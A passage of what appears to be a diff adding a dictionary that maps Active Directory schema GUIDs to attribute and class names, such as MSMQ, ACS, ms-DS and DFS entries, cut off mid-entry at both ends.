"7f56127d-5301-11d1-a9c5-0000f80367c1": "ACS-Aggregate-Token-Rate-Per-User", + "2a132583-9373-11d1-aebc-0000f80367c1": "FRS-Time-Last-Command", + "20119867-1d04-4ab7-9371-cfc3d5df0afd": "ms-DS-Supported-Encryption-Types", + "18120de8-f4c4-4341-bd95-32eb5bcf7c80": "MSMQ-Computer-Type-Ex", + "281416c0-1968-11d0-a28f-00aa003049e2": "Repl-Property-Meta-Data", + "5e11dc43-204a-4faf-a008-6863621c6f5f": "MS-TS-ExpireDate4", + "39bad96d-c2d6-4baf-88ab-7e4207600117": "document", + "7f561283-5301-11d1-a9c5-0000f80367c1": "ACS-Allocable-RSVP-Bandwidth", + "2a132584-9373-11d1-aebc-0000f80367c1": "FRS-Time-Last-Config-Change", + "29cc866e-49d3-4969-942e-1dbc0925d183": "ms-DS-Trust-Forest-Trust-Info", + "9a0dc33a-c100-11d1-bbc5-0080c76670c0": "MSMQ-Cost", + "7bfdcb83-4807-11d1-a9c3-0000f80367c1": "Repl-Topology-Stay-Of-Execution", + "0ae94a89-372f-4df2-ae8a-c64a2bc47278": "MS-TS-LicenseVersion", + "a8df74d6-c5ea-11d1-bbcb-0080c76670c0": "Residential-Person", + "1cb355a1-56d0-11d1-a9c6-0000f80367c1": "ACS-Cache-Timeout", + "1be8f172-a9ff-11d0-afe2-00c04fd930c9": "FRS-Update-Timeout", + "461744d7-f3b6-45ba-8753-fb9552a5df32": "ms-DS-Tombstone-Quota-Factor", + "9a0dc334-c100-11d1-bbc5-0080c76670c0": "MSMQ-CSP-Name", + "bf967a16-0de6-11d0-a285-00aa003049e2": "Repl-UpToDate-Vector", + "4b0df103-8d97-45d9-ad69-85c3080ba4e7": "MS-TS-LicenseVersion2", + "7a2be07c-302f-4b96-bc90-0795d66885f8": "documentSeries", + "7f56127a-5301-11d1-a9c5-0000f80367c1": "ACS-Direction", + "2a132585-9373-11d1-aebc-0000f80367c1": "FRS-Version", + "7b7cce4f-f1f5-4bb6-b7eb-23504af19e75": "ms-DS-Top-Quota-Usage", + "2df90d83-009f-11d2-aa4c-00c04fd7d83a": "MSMQ-Dependent-Client-Service", + "bf967a18-0de6-11d0-a285-00aa003049e2": "Replica-Source", + "f8ba8f81-4cab-4973-a3c8-3a6da62a5e31": "MS-TS-LicenseVersion3", + "19195a5a-6da0-11d0-afd3-00c04fd930c9": "Domain", + "b93e3a78-cbae-485e-a07b-5ef4ae505686": "rFC822LocalPart", + "1cb355a0-56d0-11d1-a9c6-0000f80367c1": "ACS-DSBM-DeadTime", + "26d9736c-6070-11d1-a9c6-0000f80367c1": "FRS-Version-GUID", + "d064fb68-1480-11d3-91c1-0000f87a57d4": "MS-DS-Machine-Account-Quota", + "2df90d76-009f-11d2-aa4c-00c04fd7d83a": "MSMQ-Dependent-Client-Services", + "bf967a1c-0de6-11d0-a285-00aa003049e2": "Reports", + "70ca5d97-2304-490a-8a27-52678c8d2095": "MS-TS-LicenseVersion4", + "19195a5b-6da0-11d0-afd3-00c04fd930c9": "Domain-DNS", + "1cb3559e-56d0-11d1-a9c6-0000f80367c1": "ACS-DSBM-Priority", + "1be8f173-a9ff-11d0-afe2-00c04fd930c9": "FRS-Working-Path", + "638ec2e8-22e7-409c-85d2-11b21bee72de": "ms-DS-Object-Reference", + "9a0dc33c-c100-11d1-bbc5-0080c76670c0": "MSMQ-Digests", + "45ba9d1a-56fa-11d2-90d0-00c04fd91ab1": "Repl-Interval", + "f3bcc547-85b0-432c-9ac0-304506bf2c83": "MS-TS-ManagingLS", + "6617188d-8f3c-11d0-afda-00c04fd930c9": "RID-Manager", + "1cb3559f-56d0-11d1-a9c6-0000f80367c1": "ACS-DSBM-Refresh", + "66171887-8f3c-11d0-afda-00c04fd930c9": "FSMO-Role-Owner", + "2b702515-c1f7-4b3b-b148-c0e4c6ceecb4": "ms-DS-Object-Reference-BL", + "0f71d8e0-da3b-11d1-90a5-00c04fd91ab1": "MSMQ-Digests-Mig", + "bf967a1d-0de6-11d0-a285-00aa003049e2": "Reps-From", + "349f0757-51bd-4fc8-9d66-3eceea8a25be": "MS-TS-ManagingLS2", + "bf967a99-0de6-11d0-a285-00aa003049e2": "Domain-Policy", + "7f561287-5301-11d1-a9c5-0000f80367c1": "ACS-Enable-ACS-Service", + "5fd424a1-1262-11d0-a060-00aa006c33ed": "Garbage-Coll-Period", + "93f701be-fa4c-43b6-bc2f-4dbea718ffab": "ms-DS-Operations-For-Az-Role", + "2df90d82-009f-11d2-aa4c-00c04fd7d83a": "MSMQ-Ds-Service", + "bf967a1e-0de6-11d0-a285-00aa003049e2": "Reps-To", + "fad5dcc1-2130-4c87-a118-75322cd67050": "MS-TS-ManagingLS3", + "7bfdcb89-4807-11d1-a9c3-0000f80367c1": "RID-Set", + "f072230e-aef5-11d1-bdcf-0000f80367c1": "ACS-Enable-RSVP-Accounting", + "bf96797a-0de6-11d0-a285-00aa003049e2": "Generated-Connection", + "f85b6228-3734-4525-b6b7-3f3bb220902c": "ms-DS-Operations-For-Az-Role-BL", + "2df90d78-009f-11d2-aa4c-00c04fd7d83a": "MSMQ-Ds-Services", + "7d6c0e93-7e20-11d0-afd6-00c04fd930c9": "Required-Categories", + "f7a3b6a0-2107-4140-b306-75cb521731e5": "MS-TS-ManagingLS4", + "8bfd2d3d-efda-4549-852c-f85e137aedc6": "domainRelatedObject", + "7f561285-5301-11d1-a9c5-0000f80367c1": "ACS-Enable-RSVP-Message-Logging", + "16775804-47f3-11d1-a9c3-0000f80367c1": "Generation-Qualifier", + "1aacb436-2e9d-44a9-9298-ce4debeb6ebf": "ms-DS-Operations-For-Az-Task", + "9a0dc331-c100-11d1-bbc5-0080c76670c0": "MSMQ-Encrypt-Key", + "7bfdcb7f-4807-11d1-a9c3-0000f80367c1": "Retired-Repl-DSA-Signatures", + "87e53590-971d-4a52-955b-4794d15a84ae": "MS-TSLS-Property01", + "7860e5d2-c8b0-4cbb-bd45-d9455beb9206": "room", + "eded5844-b3c3-41c3-a9e6-8984b52b7f98": "ms-Org-Group-Subtype-Name", + "7f561286-5301-11d1-a9c5-0000f80367c1": "ACS-Event-Log-Level", + "f0f8ff8e-1191-11d0-a060-00aa006c33ed": "Given-Name", + "a637d211-5739-4ed1-89b2-88974548bc59": "ms-DS-Operations-For-Az-Task-BL", + "9a0dc32f-c100-11d1-bbc5-0080c76670c0": "MSMQ-Foreign", + "b7c69e6d-2cc7-11d2-854e-00a0c983f608": "Token-Groups", + "47c77bb0-316e-4e2f-97f1-0d4c48fca9dd": "MS-TSLS-Property02", + "09b10f14-6f93-11d2-9905-0000f87a57d4": "DS-UI-Settings", + "49b7560b-4707-4aa0-a27c-e17a09ca3f97": "ms-Org-Is-Organizational-Group", + "dab029b6-ddf7-11d1-90a5-00c04fd91ab1": "ACS-Identity-Name", + "f754c748-06f4-11d2-aa53-00c04fd7d83a": "Global-Address-List", + "79d2f34c-9d7d-42bb-838f-866b3e4400e2": "ms-DS-Other-Settings", + "9a0dc32c-c100-11d1-bbc5-0080c76670c0": "MSMQ-In-Routing-Servers", + "46a9b11d-60ae-405a-b7e8-ff8a58d456d2": "Token-Groups-Global-And-Universal", + "6a84ede5-741e-43fd-9dd6-aa0f61578621": "ms-DFSR-DisablePacketPrivacy", + "80212842-4bdc-11d1-a9c4-0000f80367c1": "Rpc-Container", + "8f905f24-a413-435a-8ed1-35385ec179f7": "ms-Org-Other-Display-Names", + "f072230c-aef5-11d1-bdcf-0000f80367c1": "ACS-Max-Aggregate-Peak-Rate-Per-User", + "bf96797d-0de6-11d0-a285-00aa003049e2": "Governs-ID", + "564e9325-d057-c143-9e3b-4f9e5ef46f93": "ms-DS-Principal-Name", + "8ea825aa-3b7b-11d2-90cc-00c04fd91ab1": "MSMQ-Interval1", + "040fc392-33df-11d2-98b2-0000f87a57d4": "Token-Groups-No-GC-Acceptable", + "87811bd5-cd8b-45cb-9f5d-980f3a9e0c97": "ms-DFSR-DefaultCompressionExclusionFilter", + "3fdfee52-47f4-11d1-a9c3-0000f80367c1": "DSA", + "ee5b6790-3358-41a8-93f2-134ce21f3813": "ms-Org-Leaders", + "7f56127e-5301-11d1-a9c5-0000f80367c1": "ACS-Max-Duration-Per-Flow", + "f30e3bbe-9ff0-11d1-b603-0000f80367c1": "GP-Link", + "fbb9a00d-3a8c-4233-9cf9-7189264903a1": "ms-DS-Quota-Amount", + "99b88f52-3b7b-11d2-90cc-00c04fd91ab1": "MSMQ-Interval2", + "bf967a21-0de6-11d0-a285-00aa003049e2": "Revision", + "a68359dc-a581-4ee6-9015-5382c60f0fb4": "ms-DFSR-OnDemandExclusionFileFilter", + "bf967aac-0de6-11d0-a285-00aa003049e2": "rpc-Entry", + "afa58eed-a698-417e-9f56-fad54252c5f4": "ms-Org-Leaders-BL", + "f0722310-aef5-11d1-bdcf-0000f80367c1": "ACS-Max-No-Of-Account-Files", + "f30e3bbf-9ff0-11d1-b603-0000f80367c1": "GP-Options", + "6655b152-101c-48b4-b347-e1fcebc60157": "ms-DS-Quota-Effective", + "9a0dc321-c100-11d1-bbc5-0080c76670c0": "MSMQ-Journal", + "bf967a22-0de6-11d0-a285-00aa003049e2": "Rid", + "7d523aff-9012-49b2-9925-f922a0018656": "ms-DFSR-OnDemandExclusionDirectoryFilter", + "66d51249-3355-4c1f-b24e-81f252aca23b": "Dynamic-Object", + "1cb3559c-56d0-11d1-a9c6-0000f80367c1": "ACS-Max-No-Of-Log-Files", + "f30e3bc1-9ff0-11d1-b603-0000f80367c1": "GPC-File-Sys-Path", + "16378906-4ea5-49be-a8d1-bfd41dff4f65": "ms-DS-Quota-Trustee", + "9a0dc324-c100-11d1-bbc5-0080c76670c0": "MSMQ-Journal-Quota", + "66171889-8f3c-11d0-afda-00c04fd930c9": "RID-Allocation-Pool", + "11e24318-4ca6-4f49-9afe-e5eb1afa3473": "ms-DFSR-Options2", + "88611bdf-8cf4-11d0-afda-00c04fd930c9": "rpc-Group", + "7f561284-5301-11d1-a9c5-0000f80367c1": "ACS-Max-Peak-Bandwidth", + "f30e3bc0-9ff0-11d1-b603-0000f80367c1": "GPC-Functionality-Version", + "b5a84308-615d-4bb7-b05f-2f1746aa439f": "ms-DS-Quota-Used", + "9a0dc325-c100-11d1-bbc5-0080c76670c0": "MSMQ-Label", + "66171888-8f3c-11d0-afda-00c04fd930c9": "RID-Available-Pool", + "936eac41-d257-4bb9-bd55-f310a3cf09ad": "ms-DFSR-CommonStagingPath", + "dd712229-10e4-11d0-a05f-00aa006c33ed": "File-Link-Tracking", + "7f56127c-5301-11d1-a9c5-0000f80367c1": "ACS-Max-Peak-Bandwidth-Per-Flow", + "32ff8ecc-783f-11d2-9916-0000f87a57d4": "GPC-Machine-Extension-Names", + "8a167ce4-f9e8-47eb-8d78-f7fe80abb2cc": "ms-DS-NC-Repl-Cursors", + "4580ad25-d407-48d2-ad24-43e6e56793d7": "MSMQ-Label-Ex", + "66171886-8f3c-11d0-afda-00c04fd930c9": "RID-Manager-Reference", + "135eb00e-4846-458b-8ea2-a37559afd405": "ms-DFSR-CommonStagingSizeInMb", + "88611be1-8cf4-11d0-afda-00c04fd930c9": "rpc-Profile", + "f0722311-aef5-11d1-bdcf-0000f80367c1": "ACS-Max-Size-Of-RSVP-Account-File", + "42a75fc6-783f-11d2-9916-0000f87a57d4": "GPC-User-Extension-Names", + "9edba85a-3e9e-431b-9b1a-a5b6e9eda796": "ms-DS-NC-Repl-Inbound-Neighbors", + "9a0dc335-c100-11d1-bbc5-0080c76670c0": "MSMQ-Long-Lived", + "6617188c-8f3c-11d0-afda-00c04fd930c9": "RID-Next-RID", + "d64b9c23-e1fa-467b-b317-6964d744d633": "ms-DFSR-StagingCleanupTriggerInPercent", + "8e4eb2ed-4712-11d0-a1a0-00c04fd930c9": "File-Link-Tracking-Entry", + "1cb3559d-56d0-11d1-a9c6-0000f80367c1": "ACS-Max-Size-Of-RSVP-Log-File", + "7bd4c7a6-1add-4436-8c04-3999a880154c": "GPC-WQL-Filter", + "855f2ef5-a1c5-4cc4-ba6d-32522848b61f": "ms-DS-NC-Repl-Outbound-Neighbors", + "9a0dc33f-c100-11d1-bbc5-0080c76670c0": "MSMQ-Migrated", + "6617188a-8f3c-11d0-afda-00c04fd930c9": "RID-Previous-Allocation-Pool", + "b786cec9-61fd-4523-b2c1-5ceb3860bb32": "ms-DFS-Comment-v2", + "f29653cf-7ad0-11d0-afd6-00c04fd930c9": "rpc-Profile-Element", + "81f6e0df-3b90-11d2-90cc-00c04fd91ab1": "ACS-Max-Token-Bucket-Per-Flow", + "bf96797e-0de6-11d0-a285-00aa003049e2": "Group-Attributes", + "97de9615-b537-46bc-ac0f-10720f3909f3": "ms-DS-NC-Replica-Locations", + "1d2f4412-f10d-4337-9b48-6e5b125cd265": "MSMQ-Multicast-Address", + "7bfdcb7b-4807-11d1-a9c3-0000f80367c1": "RID-Set-References", + "35b8b3d9-c58f-43d6-930e-5040f2f1a781": "ms-DFS-Generation-GUID-v2", + "89e31c12-8530-11d0-afda-00c04fd930c9": "Foreign-Security-Principal", + "7f56127b-5301-11d1-a9c5-0000f80367c1": "ACS-Max-Token-Rate-Per-Flow", + "bf967980-0de6-11d0-a285-00aa003049e2": "Group-Membership-SAM", + "3df793df-9858-4417-a701-735a1ecebf74": "ms-DS-NC-RO-Replica-Locations", + "9a0dc333-c100-11d1-bbc5-0080c76670c0": "MSMQ-Name-Style", + "6617188b-8f3c-11d0-afda-00c04fd930c9": "RID-Used-Pool", + "3c095e8a-314e-465b-83f5-ab8277bcf29b": "ms-DFS-Last-Modified-v2", + "88611be0-8cf4-11d0-afda-00c04fd930c9": "rpc-Server", + "87a2d8f9-3b90-11d2-90cc-00c04fd91ab1": "ACS-Maximum-SDU-Size", + "eea65905-8ac6-11d0-afda-00c04fd930c9": "Group-Priority", + "f547511c-5b2a-44cc-8358-992a88258164": "ms-DS-NC-RO-Replica-Locations-BL", + "eb38a158-d57f-11d1-90a2-00c04fd91ab1": "MSMQ-Nt4-Flags", + "8297931c-86d3-11d0-afda-00c04fd930c9": "Rights-Guid", + "edb027f3-5726-4dee-8d4e-dbf07e1ad1f1": "ms-DFS-Link-Identity-GUID-v2", + "c498f152-dc6b-474a-9f52-7cdba3d7d351": "friendlyCountry", + "9c65329b-3b90-11d2-90cc-00c04fd91ab1": "ACS-Minimum-Delay-Variation", + "9a9a021e-4a5b-11d1-a9c3-0000f80367c1": "Group-Type", + "2de144fc-1f52-486f-bdf4-16fcc3084e54": "ms-DS-Non-Security-Group-Extra-Classes", + "6f914be6-d57e-11d1-90a2-00c04fd91ab1": "MSMQ-Nt4-Stub", + "a8df7465-c5ea-11d1-bbcb-0080c76670c0": "Role-Occupant", + "86b021f6-10ab-40a2-a252-1dc0cc3be6a9": "ms-DFS-Link-Path-v2", + "f29653d0-7ad0-11d0-afd6-00c04fd930c9": "rpc-Server-Element", + "9517fefb-3b90-11d2-90cc-00c04fd91ab1": "ACS-Minimum-Latency", + "eea65904-8ac6-11d0-afda-00c04fd930c9": "Groups-to-Ignore", + "d161adf0-ca24-4993-a3aa-8b2c981302e8": "MS-DS-Per-User-Trust-Quota", + "9a0dc330-c100-11d1-bbc5-0080c76670c0": "MSMQ-OS-Type", + "81d7f8c2-e327-4a0d-91c6-b42d4009115f": "roomNumber", + "57cf87f7-3426-4841-b322-02b3b6e9eba8": "ms-DFS-Link-Security-Descriptor-v2", + "8447f9f3-1027-11d0-a05f-00aa006c33ed": "FT-Dfs", + "8d0e7195-3b90-11d2-90cc-00c04fd91ab1": "ACS-Minimum-Policed-Size", + "bf967982-0de6-11d0-a285-00aa003049e2": "Has-Master-NCs", + "8b70a6c6-50f9-4fa3-a71e-1ce03040449b": "MS-DS-Per-User-Trust-Tombstones-Quota", + "9a0dc32b-c100-11d1-bbc5-0080c76670c0": "MSMQ-Out-Routing-Servers", + "7bfdcb80-4807-11d1-a9c3-0000f80367c1": "Root-Trust", + "200432ce-ec5f-4931-a525-d7f4afe34e68": "ms-DFS-Namespace-Identity-GUID-v2", + "2a39c5be-8960-11d1-aebc-0000f80367c1": "RRAS-Administration-Connection-Point", + "aec2cfe3-3b90-11d2-90cc-00c04fd91ab1": "ACS-Non-Reserved-Max-SDU-Size", + "bf967981-0de6-11d0-a285-00aa003049e2": "Has-Partial-Replica-NCs", + "d921b50a-0ab2-42cd-87f6-09cf83a91854": "ms-DS-Preferred-GC-Site", + "9a0dc328-c100-11d1-bbc5-0080c76670c0": "MSMQ-Owner-ID", + "88611bde-8cf4-11d0-afda-00c04fd930c9": "rpc-Ns-Annotation", + "0c3e5bc5-eb0e-40f5-9b53-334e958dffdb": "ms-DFS-Properties-v2", + "bf967a9c-0de6-11d0-a285-00aa003049e2": "Group", + "b6873917-3b90-11d2-90cc-00c04fd91ab1": "ACS-Non-Reserved-Min-Policed-Size", + "5fd424a7-1262-11d0-a060-00aa006c33ed": "Help-Data16", + "d7c53242-724e-4c39-9d4c-2df8c9d66c7a": "ms-DS-Repl-Attribute-Meta-Data", + "2df90d75-009f-11d2-aa4c-00c04fd7d83a": "MSMQ-Prev-Site-Gates", + "bf967a23-0de6-11d0-a285-00aa003049e2": "rpc-Ns-Bindings", + "ec6d7855-704a-4f61-9aa6-c49a7c1d54c7": "ms-DFS-Schema-Major-Version", + "f39b98ae-938d-11d1-aebd-0000f80367c1": "RRAS-Administration-Dictionary", + "a331a73f-3b90-11d2-90cc-00c04fd91ab1": "ACS-Non-Reserved-Peak-Rate", + "5fd424a8-1262-11d0-a060-00aa006c33ed": "Help-Data32", + "2f5c8145-e1bd-410b-8957-8bfa81d5acfd": "ms-DS-Repl-Value-Meta-Data", + "9a0dc327-c100-11d1-bbc5-0080c76670c0": "MSMQ-Privacy-Level", + "7a0ba0e0-8e98-11d0-afda-00c04fd930c9": "rpc-Ns-Codeset", + "fef9a725-e8f1-43ab-bd86-6a0115ce9e38": "ms-DFS-Schema-Minor-Version", + "bf967a9d-0de6-11d0-a285-00aa003049e2": "Group-Of-Names", + "a916d7c9-3b90-11d2-90cc-00c04fd91ab1": "ACS-Non-Reserved-Token-Size", + "5fd424a9-1262-11d0-a060-00aa006c33ed": "Help-File-Name", + "0ea12b84-08b3-11d3-91bc-0000f87a57d4": "MS-DS-Replicates-NC-Reason", + "9a0dc33e-c100-11d1-bbc5-0080c76670c0": "MSMQ-QM-ID", + "80212841-4bdc-11d1-a9c4-0000f80367c1": "rpc-Ns-Entry-Flags", + "2d7826f0-4cf7-42e9-a039-1110e0d9ca99": "ms-DFS-Short-Name-Link-Path-v2", + "bf967a91-0de6-11d0-a285-00aa003049e2": "Sam-Domain-Base", + "1cb355a2-56d0-11d1-a9c6-0000f80367c1": "ACS-Non-Reserved-Tx-Limit", + "ec05b750-a977-4efe-8e8d-ba6c1a6e33a8": "Hide-From-AB", + "85abd4f4-0a89-4e49-bdec-6f35bb2562ba": "ms-DS-Replication-Notify-First-DSA-Delay", + "8e441266-d57f-11d1-90a2-00c04fd91ab1": "MSMQ-Queue-Journal-Quota", + "bf967a24-0de6-11d0-a285-00aa003049e2": "rpc-Ns-Group", + "6ab126c6-fa41-4b36-809e-7ca91610d48f": "ms-DFS-Target-List-v2", + "0310a911-93a3-4e21-a7a3-55d85ab2c48b": "groupOfUniqueNames", + "fe7afe45-3d14-43a7-afa7-3a1b144642af": "ms-Mcs-AdmPwdExpirationTime", + "f072230d-aef5-11d1-bdcf-0000f80367c1": "ACS-Non-Reserved-Tx-Size", + "bf967985-0de6-11d0-a285-00aa003049e2": "Home-Directory", + "d63db385-dd92-4b52-b1d8-0d3ecc0e86b6": "ms-DS-Replication-Notify-Subsequent-DSA-Delay", + "2df90d87-009f-11d2-aa4c-00c04fd7d83a": "MSMQ-Queue-Name-Ext", + "bf967a25-0de6-11d0-a285-00aa003049e2": "rpc-Ns-Interface-ID", + "ea944d31-864a-4349-ada5-062e2c614f5e": "ms-DFS-Ttl-v2", + "bf967aad-0de6-11d0-a285-00aa003049e2": "Sam-Server", + "4c9928d7-d725-4fa6-a109-aba3ad8790e5": "ms-Mcs-AdmPwd", + "7f561282-5301-11d1-a9c5-0000f80367c1": "ACS-Permission-Bits", + "bf967986-0de6-11d0-a285-00aa003049e2": "Home-Drive", + "08e3aa79-eb1c-45b5-af7b-8f94246c8e41": "ms-DS-ReplicationEpoch", + "3f6b8e12-d57f-11d1-90a2-00c04fd91ab1": "MSMQ-Queue-Quota", + "29401c48-7a27-11d0-afd6-00c04fd930c9": "rpc-Ns-Object-ID", + "3ced1465-7b71-2541-8780-1e1ea6243a82": "ms-DS-BridgeHead-Servers-Used", + "f30e3bc2-9ff0-11d1-b603-0000f80367c1": "Group-Policy-Container", + "1cb3559a-56d0-11d1-a9c6-0000f80367c1": "ACS-Policy-Name", + "a45398b7-c44a-4eb6-82d3-13c10946dbfe": "houseIdentifier", + "d5b35506-19d6-4d26-9afb-11357ac99b5e": "ms-DS-Retired-Repl-NC-Signatures", + "9a0dc320-c100-11d1-bbc5-0080c76670c0": "MSMQ-Queue-Type", + "bf967a27-0de6-11d0-a285-00aa003049e2": "rpc-Ns-Priority", + "51c9f89d-4730-468d-a2b5-1d493212d17e": "ms-DS-Is-Used-As-Resource-Security-Attribute", + "bf967aae-0de6-11d0-a285-00aa003049e2": "Secret", + "7f561281-5301-11d1-a9c5-0000f80367c1": "ACS-Priority", + "6043df71-fa48-46cf-ab7c-cbd54644b22d": "host", + "b39a61be-ed07-4cab-9a4a-4963ed0141e1": "ms-ds-Schema-Extensions", + "9a0dc322-c100-11d1-bbc5-0080c76670c0": "MSMQ-Quota", + "bf967a28-0de6-11d0-a285-00aa003049e2": "rpc-Ns-Profile-Entry", + "2e28edee-ed7c-453f-afe4-93bd86f2174f": "ms-DS-Claim-Possible-Values", + "7bfdcb8a-4807-11d1-a9c3-0000f80367c1": "Index-Server-Catalog", + "f072230f-aef5-11d1-bdcf-0000f80367c1": "ACS-RSVP-Account-Files-Location", + "f0f8ff83-1191-11d0-a060-00aa006c33ed": "Icon-Path", + "4c51e316-f628-43a5-b06b-ffb695fcb4f3": "ms-DS-SD-Reference-Domain", + "3bfe6748-b544-485a-b067-1b310c4334bf": "MSMQ-Recipient-FormatName", + "29401c4a-7a27-11d0-afd6-00c04fd930c9": "rpc-Ns-Transfer-Syntax", + "c66217b9-e48e-47f7-b7d5-6552b8afd619": "ms-DS-Claim-Value-Type", + "4828cc14-1437-45bc-9b07-ad6f015e5f28": "inetOrgPerson", + "bf967aaf-0de6-11d0-a285-00aa003049e2": "Security-Object", + "1cb3559b-56d0-11d1-a9c6-0000f80367c1": "ACS-RSVP-Log-Files-Location", + "7d6c0e92-7e20-11d0-afd6-00c04fd930c9": "Implemented-Categories", + "4f146ae8-a4fe-4801-a731-f51848a4f4e4": "ms-DS-Security-Group-Extra-Classes", + "2df90d81-009f-11d2-aa4c-00c04fd7d83a": "MSMQ-Routing-Service", + "3e0abfd0-126a-11d0-a060-00aa006c33ed": "SAM-Account-Name", + "eebc123e-bae6-4166-9e5b-29884a8b76b0": "ms-DS-Claim-Attribute-Source", + "7f56127f-5301-11d1-a9c5-0000f80367c1": "ACS-Service-Type", + "7bfdcb87-4807-11d1-a9c3-0000f80367c1": "IndexedScopes", + "0e1b47d7-40a3-4b48-8d1b-4cac0c1cdf21": "ms-DS-Settings", + "2df90d77-009f-11d2-aa4c-00c04fd7d83a": "MSMQ-Routing-Services", + "6e7b626c-64f2-11d0-afd2-00c04fd930c9": "SAM-Account-Type", + "6afb0e4c-d876-437c-aeb6-c3e41454c272": "ms-DS-Claim-Type-Applies-To-Class", + "2df90d89-009f-11d2-aa4c-00c04fd7d83a": "Infrastructure-Update", + "bf967a92-0de6-11d0-a285-00aa003049e2": "Server", + "7f561279-5301-11d1-a9c5-0000f80367c1": "ACS-Time-Of-Day", + "52458023-ca6a-11d0-afff-0000f80367c1": "Initial-Auth-Incoming", + "c17c5602-bcb7-46f0-9656-6370ca884b72": "ms-DS-Site-Affinity", + "8bf0221b-7a06-4d63-91f0-1499941813d3": "MSMQ-Secured-Source", + "04d2d114-f799-4e9b-bcdc-90e8f5ba7ebe": "SAM-Domain-Updates", + "52c8d13a-ce0b-4f57-892b-18f5a43a2400": "ms-DS-Claim-Shares-Possible-Values-With", + "7f561280-5301-11d1-a9c5-0000f80367c1": "ACS-Total-No-Of-Flows", + "52458024-ca6a-11d0-afff-0000f80367c1": "Initial-Auth-Outgoing", + "789ee1eb-8c8e-4e4c-8cec-79b31b7617b5": "ms-DS-SPN-Suffixes", + "9a0dc32d-c100-11d1-bbc5-0080c76670c0": "MSMQ-Service-Type", + "dd712224-10e4-11d0-a05f-00aa006c33ed": "Schedule", + "54d522db-ec95-48f5-9bbd-1880ebbb2180": "ms-DS-Claim-Shares-Possible-Values-With-BL", + "07383086-91df-11d1-aebc-0000f80367c1": "Intellimirror-Group", + "f780acc0-56f0-11d1-a9c6-0000f80367c1": "Servers-Container", + "7cbd59a5-3b90-11d2-90cc-00c04fd91ab1": "ACS-Server-List", + "f0f8ff90-1191-11d0-a060-00aa006c33ed": "Initials", + "35319082-8c4a-4646-9386-c2949d49894d": "ms-DS-Tasks-For-Az-Role", + "9a0dc33d-c100-11d1-bbc5-0080c76670c0": "MSMQ-Services", + "bf967a2b-0de6-11d0-a285-00aa003049e2": "Schema-Flags-Ex", + "4d371c11-4cad-4c41-8ad2-b180ab2bd13c": "ms-DS-Members-Of-Resource-Property-List", + "6d05fb41-246b-11d0-a9c8-00aa006c33ed": "Additional-Information", + "96a7dd64-9118-11d1-aebc-0000f80367c1": "Install-Ui-Level", + "a0dcd536-5158-42fe-8c40-c00a7ad37959": "ms-DS-Tasks-For-Az-Role-BL", + "9a0dc33b-c100-11d1-bbc5-0080c76670c0": "MSMQ-Sign-Certificates", + "bf967923-0de6-11d0-a285-00aa003049e2": "Schema-ID-GUID", + "7469b704-edb0-4568-a5a5-59f4862c75a7": "ms-DS-Members-Of-Resource-Property-List-BL", + "07383085-91df-11d1-aebc-0000f80367c1": "Intellimirror-SCP", + "b7b13123-b82e-11d0-afee-0000f80367c1": "Service-Administration-Point", + "032160be-9824-11d1-aec0-0000f80367c1": "Additional-Trusted-Service-Names", + "bf96798c-0de6-11d0-a285-00aa003049e2": "Instance-Type", + "b11c8ee2-5fcd-46a7-95f0-f38333f096cf": "ms-DS-Tasks-For-Az-Task", + "3881b8ea-da3b-11d1-90a5-00c04fd91ab1": "MSMQ-Sign-Certificates-Mig", + "f9fb64ae-93b4-11d2-9945-0000f87a57d4": "Schema-Info", + "b47f510d-6b50-47e1-b556-772c79e4ffc4": "ms-SPP-CSVLK-Pid", + "f0f8ff84-1191-11d0-a060-00aa006c33ed": "Address", + "b7c69e60-2cc7-11d2-854e-00a0c983f608": "Inter-Site-Topology-Failover", + "df446e52-b5fa-4ca2-a42f-13f98a526c8f": "ms-DS-Tasks-For-Az-Task-BL", + "9a0dc332-c100-11d1-bbc5-0080c76670c0": "MSMQ-Sign-Key", + "1e2d06b4-ac8f-11d0-afe3-00c04fd930c9": "Schema-Update", + "a601b091-8652-453a-b386-87ad239b7c08": "ms-SPP-CSVLK-Partial-Product-Key", + "26d97376-6070-11d1-a9c6-0000f80367c1": "Inter-Site-Transport", + "bf967ab1-0de6-11d0-a285-00aa003049e2": "Service-Class", + "f70b6e48-06f4-11d2-aa53-00c04fd7d83a": "Address-Book-Roots", + "b7c69e5e-2cc7-11d2-854e-00a0c983f608": "Inter-Site-Topology-Generator", + "2cc4b836-b63f-4940-8d23-ea7acf06af56": "ms-DS-User-Account-Control-Computed", + "9a0dc337-c100-11d1-bbc5-0080c76670c0": "MSMQ-Site-1", + "bf967a2c-0de6-11d0-a285-00aa003049e2": "Schema-Version", + "9684f739-7b78-476d-8d74-31ad7692eef4": "ms-SPP-CSVLK-Sku-Id", + "5fd42461-1262-11d0-a060-00aa006c33ed": "Address-Entry-Display-Table", + "b7c69e5f-2cc7-11d2-854e-00a0c983f608": "Inter-Site-Topology-Renew", + "add5cf10-7b09-4449-9ae6-2534148f8a72": "ms-DS-User-Password-Expiry-Time-Computed", + "9a0dc338-c100-11d1-bbc5-0080c76670c0": "MSMQ-Site-2", + "16f3a4c2-7e79-11d2-9921-0000f87a57d4": "Scope-Flags", + "9b663eda-3542-46d6-9df0-314025af2bac": "ms-SPP-KMS-Ids", + "26d97375-6070-11d1-a9c6-0000f80367c1": "Inter-Site-Transport-Container", + "28630ec1-41d5-11d1-a9c1-0000f80367c1": "Service-Connection-Point", + "5fd42462-1262-11d0-a060-00aa006c33ed": "Address-Entry-Display-Table-MSDOS", + "bf96798d-0de6-11d0-a285-00aa003049e2": "International-ISDN-Number", + "146eb639-bb9f-4fc1-a825-e29e00c77920": "ms-DS-UpdateScript", + "fd129d8a-d57e-11d1-90a2-00c04fd91ab1": "MSMQ-Site-Foreign", + "bf9679a8-0de6-11d0-a285-00aa003049e2": "Script-Path", + "69bfb114-407b-4739-a213-c663802b3e37": "ms-SPP-Installation-Id", + "16775781-47f3-11d1-a9c3-0000f80367c1": "Address-Home", + "bf96798e-0de6-11d0-a285-00aa003049e2": "Invocation-Id", + "773e93af-d3b4-48d4-b3f9-06457602d3d0": "ms-DS-Source-Object-DN", + "9a0dc339-c100-11d1-bbc5-0080c76670c0": "MSMQ-Site-Gates", + "c3dbafa6-33df-11d2-98b2-0000f87a57d4": "SD-Rights-Effective", + "6e8797c4-acda-4a49-8740-b0bd05a9b831": "ms-SPP-Confirmation-Id", + "b40ff825-427a-11d1-a9c2-0000f80367c1": "Ipsec-Base", + "bf967ab2-0de6-11d0-a285-00aa003049e2": "Service-Instance", + "5fd42463-1262-11d0-a060-00aa006c33ed": 